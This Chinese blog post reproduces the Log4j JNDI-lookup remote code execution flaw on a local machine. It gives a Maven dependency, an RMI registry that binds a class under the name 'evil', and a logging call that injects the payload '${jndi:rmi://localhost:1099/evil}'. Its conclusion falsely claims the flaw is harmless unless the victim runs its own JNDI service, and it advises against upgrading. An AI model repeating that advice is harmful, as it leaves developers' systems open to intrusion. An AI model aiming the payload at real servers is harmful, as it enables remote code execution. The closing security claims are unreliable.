log4j日志漏洞问题

本文详细介绍了Apache Log4j的安全漏洞,该漏洞允许远程代码执行,影响版本为2.0到2.14.1。通过示例代码,展示了如何复现这个漏洞,以及其工作原理。尽管该漏洞可能导致安全风险,但作者认为如果没有注册JNDI服务,实际威胁有限。文章强调了理解漏洞的重要性,而非盲目升级。

    去年,log4j被爆出了一个漏洞,说可以通过利用日志格式化中的远程注入控制主机。当时,这个漏洞被形容为史诗级漏洞,因为这个远程操作可以执行一些操作,如果这个操作有恶意,那么就可以干任何事情,其实有点唬人。

    log4j影响的版本是>2.0并且<2.14.1。

    下面简单复现一下这个漏洞:

     pom.xml

<dependency>
    <groupId>org.apache.logging.log4j</groupId>
    <artifactId>log4j-core</artifactId>
    <version>2.14.0</version>
</dependency>

    log4j2.xml

<?xml version="1.0" encoding="UTF-8"?>
<Configuration xmlns="http://logging.apache.org/log4j/2.0/config">
<Appenders>
    <Console name="Console" target="SYSTEM_OUT">
        <PatternLayout pattern="%d{HH:mm:ss.SSS} [%t] %-5level %logger{36} - %msg%n"></PatternLayout>
    </Console>
</Appenders>
<Loggers>
    <Root level="info">
        <AppenderRef ref="Console"></AppenderRef>
    </Root>
</Loggers>
</Configuration>

  Hallo.java

package log4j2;

public class Hallo {
    static {
        System.out.println("莫名奇妙被执行。。。");
    }
}

Log4jServer.java

package log4j2;

import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class Log4jServer {
    public static void main(String[] args){
        try {
            Registry registry = LocateRegistry.createRegistry(1099);
            Reference reference = new Reference("log4j2.Hallo","log4j2.Hallo",null);
            ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
            registry.bind("evil",referenceWrapper);
        }catch (Exception e){
            e.printStackTrace();
        }
    }
}

    这个程序,开启一个rmi服务,绑定了Hallo类,对外暴露的远程服务是:jndi:rmi://localhost:1099/evil。当远程客户端调用这个服务,Hallo类就被初始化,并执行static代码块中的打印功能。

Log4jTest.java

package log4j2;

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

public class Log4jTest {
    private static final Logger LOGGER = LogManager.getLogger(Log4jTest.class);

    public static void main(String[] args) {
        //System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase","true");
        String name = "${jndi:rmi://localhost:1099/evil}";
        String osinfo = "${java:os}";
        LOGGER.error("hello,{}",name);
    }
}

   先启动远程服务类Log4jServer,然后运行Log4jTest,控制台打印如下:

 

    如果不开启Log4jServer,直接运行Log4jTest:

 

    从上面的打印结果来看,我们在客户端里面其实就是想输出日志,但是我们通过一些表达式,比如:LOGGER.error("hello,{}","${jndi:rmi://localhost:1099/evil}")来拼接日志信息,日志会进行格式化,在格式化的时候,会查找一些lookup,这里面有如下的lookup:

 

    正好就有jdni这个lookup,所以这里示例最后就根据表达式执行rmi操作。

    还可以试试upper格式化操作:

     经过上面演示的这个jndi日志格式化,我们似乎可以模拟出一个远程操作的漏洞,然后这个漏洞就被人形容很危险,其实如果你用了apache log4j的这些低版本,但是你没有注册jndi服务,黑客再怎么牛逼,也无法攻击你。

    做IT的,尤其是一线开发,对这个问题,我似乎觉着它不严重,根本不用担心,很多人觉着远程漏洞就可以入侵计算机,然后执行任意操作,其实都是夸张的说法,上面的过程,我们很清楚,最终我们只能调起evil这个服务,这个服务是我们自己编码的,完全可以自己控制,所以安全问题压根不存在。所以我也不推荐升级,完全没必要,知道怎么回事就行了。

评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

luffy5459

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值